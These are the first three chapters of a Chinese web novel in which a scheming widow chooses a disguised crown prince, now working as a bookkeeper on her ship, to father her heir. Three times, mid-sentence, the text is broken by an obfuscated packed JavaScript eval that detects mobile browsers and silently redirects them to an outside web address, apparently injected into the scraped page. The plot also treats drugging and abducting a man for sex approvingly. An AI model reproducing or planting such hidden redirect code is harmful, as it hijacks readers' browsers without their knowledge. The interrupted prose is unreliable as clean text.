《太子他夫凭子贵》 1. 选中 暮春三月的湖州码头,晨雾未散,江水泛着灰蒙蒙的光。 殷晚枝坐在临时搭起的货棚下,面纱后的眉头紧锁。 “下一个。”她的声音带着连日的疲惫,也带着几分不耐。 青杏忙不迭叫人上前。 已经是第七拨了。 从江宁一路看到湖州,不下百人,竟没一个能入眼的,不是獐头鼠目,便是蠢笨粗鄙,再不然就是些色眯眯,恨不得用眼睛扒了她衣裳的登徒子。 不是殷晚枝眼光挑剔,只是光是看着这群人,她都怕自己费尽心思生下的孩子,将来只会流着口水傻笑,或者遗传了那副急色的猥琐相。 “娘子,这……”青杏合上册子,声音渐低,“这拨又没了,今日午后湖州还有最后一拨。” 殷晚枝没说话,只端起凉透的茶抿了一口。 茶涩得发苦。 正如她现在的处境。 三日前离开宋府时,二婶那张涂了厚粉的脸又浮现在眼前。 那女人捏着绢帕,笑得假惺惺:“晚枝啊,昱之的身子你也清楚,族里已经议定了,下月开祠堂,从三房过继个伶俐孩子到你们名下。你也好早些清闲,享享福,别总操劳这些庶务了。” 享福? 殷晚枝当时险些笑出声来。 她今年才二十二岁,嫁进宋家不过三年,就该“享福”了? 夫君宋昱之缠绵病榻,婆母视她为克夫的扫把星,二房三房那些叔伯兄弟,个个盯着大房的盐引和万贯家财,只等宋昱之一咽气,便要将她这无子无靠的寡妇扫地出门,或者做得更狠辣一点,让她悄无声息地“病故”。 总归她没有根基背景,只是个靠冲喜才意外进了宋家的孤女。 她这三年替宋家打理部分产业,日夜操劳,到头来,竟是一场空? “借种生子吧。” 病榻上,那个向来清冷疏离,几乎未曾正眼看过她的夫君,屏退所有人后,用微弱却清晰的声音对她说。 “我若去了,他们不会容你。有个孩子,至少能守住大房这份产业,不至于被人吃绝户。” 他递给她一叠银票、一纸商路文书,还有这艘挂着“宋”字旗的旁支货船。 殷晚枝接过那些东西,指尖冰凉,心头却滚过一丝荒谬的热。 “夫君这是要给我指条活路?” 宋昱之闭上眼,苍白的面容在昏暗光线下显得格外脆弱,也格外冷漠:“我知道你嫁进来图什么。图富贵,图安稳。我给你机会,但你得自己抓住。” “借口寻医,南下徽州,两个月内怀上孩子回来,否则……”他顿了顿,声音更轻,却更冷,“等我闭了眼,你连宋家的门都出不去。” 宋昱之不喜她,对她向来视若无物。 临到末了,或许是对这副皮囊最后一点责任,或许是对家族倾轧的厌倦,生出了几分近乎施舍的心软。 于是,殷晚枝牢牢抓住了这几分心软,如同溺水之人抓住浮木。 她当初费尽心思,甚至用了些不甚光彩的手段,成为宋昱之的冲喜新娘,本就是贪图这泼天富贵。 如今富贵将倾,她怎肯放手? 借种便借种。 与其将来被赶出宋家任人鱼肉,不如现在搏一把。 不仅要生,还要生个最漂亮、最聪明的,将来才能在这虎狼窝里站稳脚跟。 直到思绪被青杏小心翼翼的询问拉回…… “还有多少人可选?”殷晚枝问,声音平静得听不出情绪,只有面纱下紧抿的红唇泄露一丝焦躁。 青杏哗啦哗啦翻着册子:“湖州本地的都看完了。后面顺着商路,宁州、绩溪、徽州府……册子上记着的,还有一百二十七人。” 一百多个。 殷晚枝蹙眉,她只有两个月的时间,水路往返便要耗去月余,耽误不起。 对外,她宣称“南下为夫君寻访名医良药”,运的货也是真的药材布匹,账目清晰。 可只有她自己知道,这趟出行真正的目的,是必须怀上一个孩子——一个模样、智力都得上乘,足以堵住悠悠众口,将来能争家产的孩子。 若不能成,等真过继了孩子,所有人都会盼着她这“绊脚石”早点消失,到时候才是真的一片豺狼虎豹等着分食她的血肉。 “都是些什么货色。”她低声骂了一句,指尖无意识地捻着袖口,力道有些重。 连宋昱之那病秧子都比不上。 至少宋昱之那张脸,是真真正正的清风明月,哪怕病中消瘦,墨发半散,倚在榻上仍有种出尘易碎的俊美,当初就是这幅皮囊惑了她的眼。 青杏凑近,小声劝:“娘子,实在不行……标准放低些?反正借个种而已,灯一吹,模样俊丑也看不清……” “不行。”殷晚枝断然道,凤眼一挑,带着不容置疑的锐利,“宋家那群人,一个个精得跟鬼似的,若孩子生得蠢笨丑陋,眉眼无一处像宋家人,一眼便会被看出蹊跷。” 她顿了顿,目光扫过码头边停靠的自家商船,那面墨蓝底的“宋”字旗在晨风里微微招展。 这唯一的翻身机会,她必须抓住。 心中那点久居富贵窝被勉强收敛的狠戾,在此刻不断翻腾,试探着冒头。 “青杏。” “奴婢在。” “去准备迷香,麻绳,还有……”殷晚枝红唇轻启,一字一顿,带着破釜沉舟的决绝,“我妆匣最底层那瓶‘春风渡’。” 青杏瞳孔一缩:“娘子,您真要……” “若今日再挑不到合适的。”殷晚枝勾起嘴角,笑意却不达眼底,反而透出一股冰冷的美艳,“有那看得过眼的——” “绑,也得绑来。” “路上,就把事儿办了。” - 天色愈晚,岸边船只停靠渐多,空气中混杂着鱼腥、汗味和炊烟。 又是整整一天毫无所获,殷晚枝揉着突突直跳的太阳穴,看来明天真的要物色了。 她甚至开始盘算,是直接打晕了拖上船方便,还是先用迷香…… 青杏抱着一大堆册子跟在身后,正绞尽脑汁想宽慰自家娘子。 码头另一边。 “去去去!说了不收生人搭船!谁知道你们什么来路!” “……船家,通融通融吧,我们兄弟丢了盘缠,二人急着去雍州游学拜师,行个方便,让我们搭段顺风船?我们可帮着做些杂役,不要工钱也无妨……” 叼着旱烟杆满脸横肉的船家正语气不耐地驱赶着两个穿着破布烂衫的年轻人。 殷晚枝原本心烦意乱,目光漫无目的地扫过,却在掠过那两人时,倏地顿住了。 她只依稀听见“游学”“拜师”…… 应当是两个求着搭船的落魄书生。 灰扑扑的人群里,两人长身玉立,虽说发型看着狼狈,但分外显眼。 一热一冷。 年轻书生眉眼间散发着尚未被磋磨的少年英气,正与船家说着什么,看着性子略急躁。 但真正让她停住脚的是他旁边那位。 那清冷书生大约年长几分,看上去更加沉稳,并未与船家逞口舌之快。 肩头随意搭了件素白纱质披肩,半遮着面——江风一过,那薄纱便贴着身形流曳,清清楚楚勾勒出底下宽直的肩膀,紧窄的腰线。 明明是最简素不过的打扮,甚至有些寒酸,可穿在他身上,偏就生出一股清冷孤直的味道。 侧脸线条利落得像用刀裁过,眉骨高,鼻梁挺直,薄唇是极淡的颜色,此刻正微抿着,透出一股生人勿近的疏离。 最要命的是那股气度。 殷晚枝心口重重一跳。 ——简直像是照着宋昱之最清俊出尘那副模样刻出来的。 不,甚至更胜一筹。 宋昱之是病中弱柳,风姿清逸却易折;眼前这人,却像雪岭孤松,骨子里透着凛冽的韧劲与……贵气。 是的,贵气。 她面上多了点喜色,用团扇虚虚一指:“看见了吗?” 青杏惊愕转目,从她的视角看去只能看见那要黑又壮的老船工。 两眼一黑,这还不如上午看的那几个呢。 “娘、娘子……”她忐忑的翻出小册子,企图劝说一下,“名单上还有一百多候选呢……” 殷晚枝盯着那截在暮色里愈发显得冷白的脖颈,目光下滑,落在他窄韧的腰身,修长的腿……这个品相,睡倒也不委屈。 一锤定音。 “就是他了。”她截断她的话,舌尖无意识轻抵齿尖,补充道,“是那个披着披肩的。” 肩宽腰细,看着就劲大,好生养。 - 码头东隅。 沈珏对着船家远去的背影狠狠龇牙:“呸!狗眼看人低!想小爷我在京城——” 向来在京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149148|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 横惯了的沈小将军,头一次知道什么叫吃瘪。 见一旁的景珩不做声。 忙凑近压低声:“……太子表哥,你在看什么?” 景珩目光从那船只上“宋”的旗帜撤下来。 刚才那边似乎有道极为强烈的视线。 像用目光将他从头到脚剥了一遍,让人不适。 只是他才看过去,那道视线就消失了。 “没什么。”他收回目光,声音冷淡。 沈珏泄气地拍打胳膊上肆虐的蚊子,嘴里嘟囔:“真是一方水土养一方人,连湖州的蚊子都格外骁勇。” 想起上午遭遇,他更是心有余悸。 那时也是寻船,一位脂粉浓重的船娘“热心”相邀,谁料上了船才知是条专做腌臜生意的花艇。 景珩因着谨慎,并未中招,沈珏就没那么幸运了,那徐娘半老的鸨母差点对着他上下其手,眼神黏腻得能拉丝,惊得沈珏差点摸向藏在包袱里的短刃。 好一番鸡飞狗跳,赔光了仅剩的几钱碎银,才狼狈脱身。 眼下日头西斜,若再寻不到船南下,又得在这鱼龙混杂的码头多耗一日。 靖王爪牙追踪甚紧,每一刻都危险。 沈珏凑过去被蚊子折磨疯了:“实在不行,动用您的私令,调湖州府……” “再等等。”景珩冷声打断。 私令一出,踪迹便明,暗查即成明访,许多线索怕要立刻断掉。 正在这时,一个小丫鬟朝他们走来:“两位公子安好。方才见二位似在寻船,咱们船上正缺一位能写会算的账房先生,兼做些夜间看顾货物的轻省活计,不知二位可愿屈就?” 又是招工? 沈珏瞬间警惕,干笑一声,抢道:“这位姐姐,我兄弟二人虽读过几本书,却是手无缚鸡之力,算账也只略通皮毛,怕是担不起看顾重任,反误了主家行程。” 青杏原本来之前还有些忐忑,远远看清这两人长相后才松了口气,她笑道:“公子过谦了,我看两位公子气度沉稳,定是细心妥帖之人。至于夜间看顾,不过是防些小毛贼,寻常健壮男子巡一巡便可,工钱嘛……”她略作思忖,“一月五两银子,食宿全包,如何?” 五两! 沈珏眼皮微跳,下意识瞥向景珩。 他们现在浑身上下凑不出二两碎银。 景珩面色沉静,目光掠过青杏,投向不远处那艘中等货船。 甲板上堆着布匹药材箱笼,井然有序,是寻常商贾人家模样。 最后,他视线落在船舱口——那里静静立着一位头戴帷帽、身着素白衣裙的女子,身段窈窕,帷帽垂下的薄纱及胸。 方才那道目光……似乎就是从那个方向来的。 这人从一开始就在关注他们。 “不知贵主家是?”景珩开口,声线清冽平稳。 “我家娘子是徽州人氏,此次是运送些先夫生前经营的货物回乡。”青杏按吩咐答道,“娘子心善,见二位公子似是寻船不易,故有此一问。若是不便,也无妨的。” 运送先夫生前货物回乡? 景珩沉吟。 这船南下,正合他们去雍州的方向,扮作账房混迹商船,确是极好的隐蔽。 “还不知二位公子高姓大名,欲往何处?”青杏适时又问。 “在下姓萧,名行止。”景珩用了母姓化名,“这是舍弟,萧子安。我二人原欲南下雍州游学。” “雍州?”青杏笑意加深,“巧了,我们必经雍州水道,二位公子可愿一试?娘子说了,若是账目清楚,人又妥当,便是长雇也可。” 景珩心中迅速权衡。 风险固然有,但眼下这或许是南下最快且最不惹眼的途径。 他略一颔首,端的是读书人温文守礼的模样:“既蒙娘子不弃,路径又顺,我兄弟二人便厚颜叨扰了。” 青杏喜道:“公子客气了,请随我来,我去回禀娘子。” 看着景珩和沈珏跟着青杏走向那艘货船,沈珏用气声飞快嘀咕:“表哥,我咋心里头……直打鼓呢?这新寡的娘子招工,怎么专挑咱俩这样貌的?” 景珩目视前方,步履从容,只从唇边逸出低沉清晰的几个字:“见机行事。” “那万一……那娘子要是也跟上午那个似的,动手动脚……”沈珏挤眉弄眼。 景珩脚步未停,薄唇轻启:“她若敢,也得有命享。” 2. 蠢货 这是艘不大的货船,离得近了,景珩才真正看清船舷上那面墨蓝底的“宋”字旗。 江宁宋氏,商贾大族,漕运盐政的账册上,这个名字出现的频率可不低。 不过货船规制寻常,倒像是分支旁系的行事。 只是不管如何,谨慎些总是没错的。 “两位公子,请。”青杏引路登船。 刚踏上甲板,沈珏耳听四路眼观八方,小心打量周围,一卷素帛并笔墨便就递到了眼前。 青杏笑盈盈:“劳烦二位填个简况,我家娘子也好心中有数。” 沈珏探头一看,簿子上竟列着数栏:籍贯、年岁、婚配否、身长几何、擅何技艺…… “这……”他喉结一滚,眼神瞬间飘向景珩——这阵仗,怎么比吏部铨选还细?该不会真是贼船,专绑他这等俊俏儿郎吧?手指已悄悄摸向腰间暗藏的匕首。 “公子莫怪。”青杏似是看出他疑虑,温声解释,“近来水匪猖獗,前些日子邻船就混进了歹人,娘子新寡独行,虽存善心,却也不得不谨慎些。”她朝窗外微扬下巴,“您瞧,那些护卫也是为此才雇的。” 沈珏顺势望去,恰见一名护卫单手提起百斤米袋,臂上筋肉虬结。 他默默把匕首往深处塞了塞。 “自然,娘子也不会亏待二位。这是预付的半月工钱,若账目清楚,行事稳妥,另有厚赏。” 青杏取出两锭雪亮官银,轻轻搁在案上。 娘子说过,这叫先兵后礼。 一般的人看见这种不会不从。 果不其然,银光晃眼。 这段时间苦日子过得沈珏哭丧的心都有了,盯着那足色的官银,吞了吞口水,脸上瞬间绽出笑来:“姐姐说哪里话!贵主家思虑周全,原是应当的!”他一边提笔填写,一边啧啧称赞,“娘子这般仁善又周到,定是积福之人,将来必有大造化!” 青杏抿嘴一笑,转向始终沉默的景珩:“萧公子?” 景珩始终未多言,从容提笔,腕底字迹清劲工稳,一行行填写那古怪表格。 萧行止,雍州人士,年二十一,未娶,身长七尺八寸……早备好的假身份、真路引,自然无懈可击。 只是落笔时,他眼角余光似有感应般看向那幅素纱帷帘。 江风拂过,薄纱微扬,隐约可见女子半截下颌,线条柔婉,肌肤似玉。 她,在看他。 - 帘后。 殷晚枝并未露面,以她的身份,不宜太过热情,否则倒显得她这船像黑船。 因而吩咐青杏让那两人先填表。 也好摸摸底细。 她手中假意捧着本簿册,透过薄纱打量着外间两人。 年长那个气质清冷如孤峰雪,填表时神色疏淡,问一句答半句;年少的那位却活泛得多,眼神灵动,笔走如飞。 最终她视线落在那年长书生身上。 殷晚枝有一双挑剔的眼睛,当然,也是一双发现“美”的眼睛。 不得不说,那是个极俊俏的书生。 长发被青白两股绸带缠绕束起,眼眸是极淡的琉璃色,先前远看有拒人千里之外的清冷,近看五官又带着浓墨重彩的凌冽。 殷晚枝越看心中越满意。 当下就做了决断,选这个冷的。 瞧着就是个怕麻烦的性子,沉稳持重,心思内敛,但正因如此,怕是恪守分寸。 事成之后钱货两讫,容易打发。 至于那小郎君……话多,眼活,看着就是个莽撞热心的。 万一过后黏缠不清,反倒棘手。 只是当下,还需再验验货。 - 二人填毕,青杏将簿子送入帘内。 片刻后,有极轻的纸张翻动声传来。 又过了一会儿,脚步声响起。 一位身着月白绫衫,身段窈窕,墨发松松绾就的年轻女子款步走出。 她眉目如江南烟雨描就的清润远山,唇边噙着恰到好处的浅笑,既有未亡人的清寂,又不失商家主事者的从容。 殷晚枝有心想装的时候,还是很唬人的。 “方才多有怠慢,还望二位郎君海涵。”她声音温软,却自带一股沉静气度,“实在是近来水路上不太平,我一介女流,虽有心行个方便,却也不得不谨慎些。” 目光在景珩面上略停一瞬,又转向沈珏,笑意深了些:“二位既愿相助,此后同船,便是一段缘分。妾身宋,单名一个‘杳’字。” 沈珏闻声抬头,一时看愣了。 这宋娘子……生得也太好了些。 尤其那眉眼,妩媚……不,澄澈明净,怎么看都不像歹人。 他心头一松,立刻咧嘴笑道:“娘子言重了!应当的应当的!谨慎些好!娘子这般慈眉善目,瞧着就是善人,是我兄弟二人叨扰了才是!” 景珩:“……”蠢货。 见沈珏还要继续开口,景珩终于还是忍无可忍,上前半步,将两人隔开。 执袖依礼微躬:“宋娘子思虑周全,理所应当,我兄弟既受雇于船,自当恪尽职守。” 言辞客气,却将“受雇”二字咬得清晰,划清界限之意不言而喻。 殷晚枝眼底笑意更清亮了些。 果然,是个怕麻烦的明白人。 “那便劳烦萧先生了。”她微微颔首,又对青杏道,“带二位去账房舱室安置吧,再将近日的货单取来。” 转身回帘时,她余光瞥见那年少的萧子安正偷眼瞧她,被自家表哥一记冷眼钉在原地。 殷晚枝唇角轻扬。 这下好了,连管束的人都现成了。 回到内舱,门扉轻合,殷晚枝往锦榻上一靠,长长舒了口气:“可算是哄上船了。” 方才每一句言辞都需在舌尖掂量三遍,生怕露了马脚。 “宋杳”这名字是她信口拈来的。 但既是名字,也是最容易下意识露馅的,她索性用了无人知晓的小字“杳杳”。 至于那编造的徽州宋氏旁支、新寡归乡的背景,在这湖州码头边上一捞一大把,她毫不担心。 才一躺下,青杏便凑了过来,带着点干完坏事的雀跃:“娘子,今晚就……下手么?要不要在‘晚膳’里加点‘料’?” 殷晚枝失笑,还挺上道,自己昨天才提了一嘴,这丫头就记心里了。 她伸出纤指点了点青杏额头:“你倒比我还急,那两人是傻的么?尤其那位冷脸的萧郎君,眼神跟带着冰锥似的,早把船上每块木板都刮了一遍。此刻送吃食,无异于打草惊蛇。” 青杏沉思,青杏顿悟。 殷晚枝端起温茶,慢条斯理地呷了一口:“我自称新寡,便是要他们先卸掉几分轻视。这世道,独身女流总容易被看低,也容易叫人放松警惕。”她眸色转深,语气悠悠,“只是,湖州到宁州这段水路,何时太平过?黑店、水匪、捞偏门的,早年尸首能从这儿一路漂到金陵。他们能全须全尾在此徘徊,岂是易与之辈?” 青杏听得咋舌。 这话殷晚枝并非虚言,未入宋府前,她便在宁州码头讨生活,见过太多腌臜。 若非后来攀上宋昱之这条船,只怕坟头草都两米高了。 青杏瞬间严肃了:“也是,那个姓萧的郎君,看人时的眼神跟冰碴子似的,怕是不好糊弄。” “所以呀,帐房先生的身份,正好。”殷晚枝转过身,又顿了顿,眼中闪过精明的光,“况且……纸上写着‘略通文墨’,‘略同算术’,谁知道是不是装的,但账本不会骗人,拨几下算盘,是真才实学,还是绣花枕头立见分晓,若真是个只会装模作样的草包……生出来的孩儿,能机灵到哪儿去?宋家的产业,将来可指望不上呆头鹅。” 青杏连连点头。 娘子不管什么时候,总是考虑得这般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149149|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周全。 她决定多听,多学,多记。 “娘子说得是!那……咱们先试他几日?” “自然要试。”殷晚枝眉眼弯起,那笑里掺了点狡黠的坏,“不过嘛,有些准备也可以先做起来……咱们船上不是带了不少‘好东西’吗?明日午膳就添上。” 青杏先是一愣,随即领悟,脸微微泛红:“娘子是说……那些鹿茸、海马、牡蛎粉?可、可明日就做,会不会太显眼了?” 殷晚枝坐起,支着下巴思忖:“那就掺着做,别可着一样做,粥里放点,汤里搁些,分量均匀还不易察觉。” 不止才学要验,身子骨也得瞧瞧。 可不能废了半天劲,最后网了个绣花枕头,那真是亏大发了。 青杏眼睛微亮:“娘子思虑周全!” 烛光下,主仆二人就这样对着头,敲定了明日的计划。 - 而另一头。 沈珏还在舱室里东摸摸西看看,对着那两张窄榻长吁短叹:“表哥,这舱室还没您东宫浴池宽敞呢……” “闭嘴。”景珩将随身的包袱搁在靠墙的榻上,声音不高,却压住了沈珏的所有嘟囔,“看好里头的东西。” 那里头除了几件换洗衣物,还有他们先前费尽心思摸到的一点漕运线索——几封暗语密信和一枚关键的私章。 沈珏闻言,脸色一肃,立刻将包袱挪到内侧,自己一屁股坐在了榻沿,俨然一副“人包合一”的守卫架势。 景珩走到窗边,支起一缝,目光沉静地扫过甲板。 两名护卫正交错巡逻,脚步沉稳,目光机警,确是训练有素的架势。 他想起方才那宋娘子离去时,帷帽轻纱拂动间,那似有若无投来的一瞥。 ……意味深长。 他收回目光,看向正努力把东西往怀里塞、试图显得很可靠的沈珏。 沈家是将门没错,可大乾承平日久,边关偶有摩擦,也轮不到京城里金尊玉贵养大的小将军去真刀真枪。 沈珏那点功夫,收拾几个地痞无赖绰绰有余,可论起人心算计,怕是连宫里稍有点脸面的太监都能绕他三个弯。 景珩揉了揉眉心,沉声告诫:“明日上工,离那位宋娘子远些。” “啊?”沈珏一愣,“为何?人家不是挺……” “正因她是新寡。”景珩打断他,指尖在粗糙的木桌上无意识地敲了敲,“若她真是善心,你我更该谨守本分,莫要言行失当,惹人闲话,徒增烦恼。” 他话音微顿,眸色转深,如古井寒潭:“若……并非单纯善心,” 语气略微下沉,“那更该远着些,就你那点道行,被人囫囵卖了,还替人数钱。” 沈珏被那眼神看得后颈一凉,缩了缩脖子:“表哥,你该不会觉得她也有问题吧?我看她眉眼挺……” “你看?”景珩面无表情,“上午那花艇鸨母,你初看时,不也说‘慈眉善目’?” 沈珏:“……” 无法反驳。 “色令智昏。” 他丢下四个字,不再多言,自行解开包袱,取出半旧的布衫准备歇息。 那姿态摆明此事无需再议。 沈珏摸摸鼻子,小声嘀咕:“我哪有昏……不就是多看了两眼。” 到底还是把银子塞回怀里,又将那几件要紧的信物裹进衣物深处。嘴里却忍不住又飘出一句:“不过表哥,说真的,那宋娘子真是我见过……哎哟!” 一枚铜钱破空而来,精准地敲在他额角,不重,却足够吓他一跳。 景珩连眼皮都未抬,只淡淡道:“再犯蠢,下次便是石子。” 沈珏彻底闭嘴,老老实实滚去铺床。 心里却暗暗叫苦:太子表哥不愧是京城那群老古板教出来的得意门生,比他爹还严苛。 这差事,既要防追兵,又要防美人,还得防着自家表哥冷不丁的“敲打”。 ——难,太难了! 3. 情缘 翌日大早,货船起锚离了湖州码头,顺流直下,直往宁州。 此去水路需几日,中间不停泊。 晨光初透时,船上已忙碌起来,水手、护卫、丫头、婆子,各司其职,景珩和沈珏也已早早收拾妥帖。 殷晚枝今日是下了功夫妆点的。 一袭雨过天青的软烟罗裙,外罩月白薄纱半臂,行走间如烟霞流动,墨发松松绾作堕马髻,斜插一支镶金白玉簪,既素净又不失华贵。 她对自己的容貌向来自信,深信没有哪个正常男人见了会毫无波澜——若真有,那定是他自己有问题。 此刻薄施脂粉,眉如远山含黛,唇似樱桃初绽,通身既有未亡人应有的清寂,又有从她骨子里透出的秾丽风华,矛盾又勾人,她手里捧着几册账本,款步踏入临时辟出的小账房。 “萧先生,这是近半年的货品出入细目,劳烦先生理一理。” 殷晚枝刻意将声音放柔,将账本轻放在景珩面前的桌案上。 递送时,一截莹白胜雪的手腕自宽袖中滑出,腕骨纤细玲珑,肌肤在晨光下泛着羊脂玉般温润细腻的光泽,仿佛轻轻一握便能留下印记。 景珩的目光在那腕上略停一瞬,如寒鸦点水,旋即敛去。 他接过账册:“有劳宋娘子。” 女人离得近了,一缕极淡的幽香飘来,不似寻常脂粉甜腻,倒像雪后初绽的冷梅,掺着一点说不清的暖意,丝丝缕缕,若即若离。 殷晚枝出门前刻意露了这一截腕子,此刻正用余光细细观察。 只见这位“萧先生”面色沉静无波,甚至在她靠近时,不着痕迹地退了半步,这才开始翻阅账目。 啧,还真是表里如一的冷。 殷晚枝心思一转,主动拉开了距离,笑着坐回了另一侧。 噼啪声很快响起,清脆而有节奏。 景珩虽贵为太子,自幼所受却是帝王之道、经世之学,算盘账本确非东宫必修,但因其天资卓绝,过目不忘,又心思缜密,在数字上触类旁通。 这种简单账目对他而言,无异小儿描红。 只是那股香味久久未消散,微微扰乱他的思绪,他蹙眉,定下心神,指尖翻飞,纷繁的数字在他笔下变得条理分明。 殷晚枝倚在一旁,看似随意翻看货单,实则眼风一直落在他身上。 越看,眼底的亮光越盛。 这位“萧先生”不仅算得快,更难得的是思路清晰。 几处她先前故意留的糊涂账,他稍加推敲便理得明明白白。 殷晚枝越发觉得自己选对了人。 书生好啊,算账溜的书生更好! 虽说看着难以接近,性子冷硬如玄冰,但就她的识人经验来看,这种人恰恰是最易被“情理”拿捏的。 就像当年的宋昱之。 就算最坏的打算,东窗事发,她也有办法圆过去。 思及此—— “萧先生大才!”殷晚枝适时开口,嗓音里带着恰到好处的钦佩与柔弱,“这些账目我看着就头疼……以往都是先夫与账房打理,如今……”她恰到好处地顿了顿,眼圈微红,旋即又强撑起一个笑,“不知先生可否得空,点拨我一二?我虽愚钝,也想学些皮毛,日后不至两眼一抹黑……束脩方面,定不会亏待先生。” 理由给得十足:新寡妇人,想学着自立,合情合理。 船上无聊,教教账目,也顺理成章。 景珩拨弄算珠的指尖几不可察地顿了顿。 那缕恼人的冷梅暖香似还萦绕鼻端,而她此刻眼神清澈见底,带着小心翼翼的期盼,任谁看了都会以为是真心向学的柔弱女子。 可他分明记得,昨日那丫鬟递来的货单,条目清晰,分类老道,绝非不通庶务的外行手笔。 她在藏拙。 为何? 他抬眸,目光平静地掠过她精心描画的眉眼,落在她因“紧张”而微微蜷起的指尖上。 “宋娘子言重了。”他开口,声线是一贯的温和清润,听不出半分异样,“若不嫌在下才疏学浅,自当尽力。” “那便多谢先生了!”殷晚枝喜色漫上眼角眉梢,立刻福身一礼,又不着痕迹地拉近了些距离,“那……今日午后,先生得空时我便来叨扰?” “可。” 目的达成,殷晚枝见好就收,不再纠缠,只留下一个感激又略带羞怯的微笑,便转身离去。 心下却飞快盘算:得让青杏在午膳的汤羹里,再多加两片老参,不过嘛……温补需循序渐进,方不惹疑。 裙裾拂过门槛,留下一缕渐淡的香风。 景珩目送那抹窈窕身影消失在帘后,算盘声早已停下。 他修长的食指无意识地在账册封皮上轻轻敲击。 藏拙,接近,示弱。 如此迂回谨慎,这位“新寡”的宋娘子,所图恐怕不止是学账。 昨日码头,他们除了留给余下亲卫的暗号,并无其他动作。 身份暴露的可能性极低。 那么,她的目标是什么? 如此费尽心机,若有所图谋,所图定然不小。 漕运贪腐案牵连两淮,盐商耳目灵通……想到怀中那枚几经周折,费了不少人马才换来的私印,景珩眸色渐深。 若她真是那边派来刺探或阻挠的棋子…… 他垂下眼帘,浓密长睫掩去眸底一闪而逝的锐利寒光。 漕运案,关乎国本,绝不能有失。 必要时…… 他指尖停顿,最终落到冰冷的算珠上,缓缓将其拨回原位。 - 殷晚枝出了账房门,心头那块悬了许久的石头总算是松动了些。 借种这桩事,千头万绪,到今日见了真章,才算窥见一点靠谱的亮光。 她心情正好,抬眼便见甲板上,青杏正板着小脸,给那活泼得过分的“萧子安”派活计。 “……每日晨起、午后、入夜,需得绕船巡查三遍,重点看顾货舱与底舱入口,若有异动,立刻鸣锣示警。”青杏一本正经,手里还拿着张写得密密麻麻的纸,“还有,午间需帮着刘妈搬些柴火,晚间歇了工,船尾的甲板也得冲洗……” 沈珏听得一愣一愣,眼睛越瞪越大。 这护卫的活儿,听起来怎比他在京郊大营操练还琐碎? 殷晚枝款步走近,唇角噙着温和笑意:“青杏,萧小郎君初来乍到,莫要吓着他。”她转向沈珏,目光柔和,“萧小郎君看着年纪尚轻,不知是头回出门?” 沈珏听着问话,心头警铃大作。 本来就是编造的身份,自然是说多错多。 特别想起昨晚太子表哥的警告。 可……话都递到嘴边了,不接更可疑吧? 他立刻挺直腰板,努力回忆戏文里那些寒门书生的做派,清了清嗓子:“回娘子话,确是头回同兄长远游,家中……清贫,父亲去得早,只剩兄长与我,还有一位六十岁的老母并一个三岁的小妹相依为命。” 沈珏越说越顺,甚至添了几分真情实感的“沉重”。 “此番本是兄长带着我游学,也好……也好见见世面,将来若能博个功名,也算光耀门楣,奉养老母,抚育幼妹。谁料盘缠在路上不慎遗失,唉……” 说到动情处,他还适时地低下头,叹了口气。 殷晚枝静静听着,面上适时流露出恰到好处的同情与不忍。 心中却想,家贫更好拿捏。 只是……在听见,六十老母,三岁幼妹时,她还是没忍住哂笑。 这兄弟俩瞧着年岁相差不大,家境若真清寒至此,哪还有余钱游学? 这惨卖得……未免有些浮夸了。 不过她并不点破,反而柔声宽慰:“郎君不必过于忧心,既到了船上,便安心做事,日子总会好起来的。” 沈珏原本讲得正投入,顺着女子翩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149150|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞衣袖抬头,下一瞬,对上一张关切笑颜。 晨光下,女人眉眼如画,肌肤胜雪,因那几分怜惜之情,眸光水润潋滟,比三月春柳更动人。 砰——砰—— 他只觉得心头猛地一跳,脸“腾”地就红了,方才编造家世的机灵劲儿瞬间飞到了九霄云外。 连昨日太子表哥“保持距离”的严厉警告也忘得一干二净,只讷讷地“嗯”了一声,眼神都有些发直。 殷晚枝将他这反应尽收眼底,心中更有底了——果然是个没什么城府的半大孩子,心思几乎写在脸上。 见话都套得差不多了,她微微一笑,不再多言,叮嘱青杏好生安排,便翩然离去。 - 毕竟是第一日,殷晚枝深知过犹不及。 接下来都没再出船舱。 直到午膳,江面两岸都飘起了炊烟,劳作的众人停下休息,她才吩咐青杏去给二人“单独”送吃食。 沈珏在甲板上跑了一上午,搬柴巡船,早就饿得前胸贴后背。 此刻对着自己那份饭菜,两眼放光——嫩炒河虾油亮诱人,山药炖鸡香气扑鼻,连带着两碟碧油油的时蔬都显得格外可人。 